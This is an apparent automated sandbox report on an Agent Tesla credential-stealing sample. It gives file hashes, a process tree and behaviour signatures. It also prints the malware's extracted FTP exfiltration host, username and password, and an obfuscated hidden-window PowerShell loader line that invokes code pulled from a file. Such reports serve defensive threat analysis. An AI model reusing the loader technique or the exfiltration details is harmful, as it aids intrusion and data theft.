Analysis
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max time kernel
140s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
09-10-2024 13:31
Static task
static1
Behavioral task
behavioral1
Sample
4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Rapses.ps1
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
Rapses.ps1
Resource
win10v2004-20241007-en
General
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Target
4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe
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Size
445KB
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MD5
6b63bdc24b2e1162073514f7934a4f9c
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SHA1
c879e7e6aae7427d076acb33b55acb788aecddf7
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SHA256
4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624
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SHA512
dae2cd4f41b7be76f97b1b7238819e019fba7a14eccb5768abe1d180eb0e28f933bd9b5a9fa52abc0119539703f5e453b70e01037d9a55fce9bf101b0df911b9
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SSDEEP
6144:NqC56ALcmpQFbVySc2pxkYihgnHcbS48a782EYCLrQjEBtMWc/+TxYyA:KA9WL5c2pEh2gV8axE1wlWmcYyA
Malware Config
Extracted
Protocol: ftp- Host:
ftp.rusticpensiune.ro - Port:
21 - Username:
[email protected] - Password:
hr,d@KUwa5llI%*RNL^J]g%8I;!;_Ne#G1h~lE!*86DAAD6#iLm$x)r+e1z$p+_Q,4_(f!};B?vD!IG?NqT[zOHNr6_nww[S]V?MlcYSt_QO
Extracted
agenttesla
Protocol: ftp- Host:
ftp://ftp.rusticpensiune.ro - Port:
21 - Username:
[email protected] - Password:
hr,d@KUwa5llI%*RNL^J]g%8I;!;_Ne#G1h~lE!*86DAAD6#iLm$x)r+e1z$p+_Q,4_(f!};B?vD!IG?NqT[zOHNr6_nww[S]V?MlcYSt_QO
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2620 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation 4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe -
Blocklisted process makes network request 4 IoCs
flow pid Process 17 624 msiexec.exe 19 624 msiexec.exe 31 624 msiexec.exe 32 624 msiexec.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 624 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2620 powershell.exe 624 msiexec.exe -
Drops file in Program Files directory 1 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Common Files\o.pri 4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\resources\0409\Bitings235\restqfr.sta 4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe File opened for modification C:\Windows\resources\0409\vampirism\discomposed.ini 4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2620 powershell.exe 2620 powershell.exe 2620 powershell.exe 2620 powershell.exe 2620 powershell.exe 2620 powershell.exe 2620 powershell.exe 624 msiexec.exe 624 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2620 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 2620 powershell.exe Token: SeIncreaseQuotaPrivilege 2620 powershell.exe Token: SeSecurityPrivilege 2620 powershell.exe Token: SeTakeOwnershipPrivilege 2620 powershell.exe Token: SeLoadDriverPrivilege 2620 powershell.exe Token: SeSystemProfilePrivilege 2620 powershell.exe Token: SeSystemtimePrivilege 2620 powershell.exe Token: SeProfSingleProcessPrivilege 2620 powershell.exe Token: SeIncBasePriorityPrivilege 2620 powershell.exe Token: SeCreatePagefilePrivilege 2620 powershell.exe Token: SeBackupPrivilege 2620 powershell.exe Token: SeRestorePrivilege 2620 powershell.exe Token: SeShutdownPrivilege 2620 powershell.exe Token: SeDebugPrivilege 2620 powershell.exe Token: SeSystemEnvironmentPrivilege 2620 powershell.exe Token: SeRemoteShutdownPrivilege 2620 powershell.exe Token: SeUndockPrivilege 2620 powershell.exe Token: SeManageVolumePrivilege 2620 powershell.exe Token: 33 2620 powershell.exe Token: 34 2620 powershell.exe Token: 35 2620 powershell.exe Token: 36 2620 powershell.exe Token: SeDebugPrivilege 624 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2792 wrote to memory of 2620 2792 4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe 86 PID 2792 wrote to memory of 2620 2792 4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe 86 PID 2792 wrote to memory of 2620 2792 4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe 86 PID 2620 wrote to memory of 624 2620 powershell.exe 89 PID 2620 wrote to memory of 624 2620 powershell.exe 89 PID 2620 wrote to memory of 624 2620 powershell.exe 89 PID 2620 wrote to memory of 624 2620 powershell.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe"C:\Users\Admin\AppData\Local\Temp\4842cfe7f5fc8b3bcc22b0049e03edc16393e06ea5e486cb5e9ddbe7a21cd624.exe"1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Chippies=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\deciliteren\afstnings\Rapses.Arb';$Notaudskrivningsdatoen=$Chippies.SubString(53160,3);.$Notaudskrivningsdatoen($Chippies)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\syswow64\msiexec.exe"3⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:624
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
51KB
MD5c7b38eb59906350c5320fba41407d4a7
SHA12c6b4eda941d4f23d1d5969fc7cf06e689450de8
SHA256445c94fa7b8c3f9a7a84bc797ff21109431e9fe512b58d5b4e63581138cb0e61
SHA512f3c52188a2c107f1011ae156bd94c8d2465c1d767a166049b374f1bec023f0b123b185f280a5e3b8787bca065ae69ea8a2945eb68e88be778c202824d670bc19
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Filesize
384KB
MD5439b3ba82d1f3dd320c6ecf23d6e82ec
SHA192ded62319cb63936285fbc9a02fa650b45f5392
SHA2561cc1f16263cb1ff8e2a7480a2dcc7a747bbba5047ea2e44618e403da774abd35
SHA512622952338704ba9c4598f21662572902074f9f44e67399be77a75cf51aed771d3eb576a258151787a74ef30dfaf3001a9c04bec205fbe5aaba5f5b5c770f83ec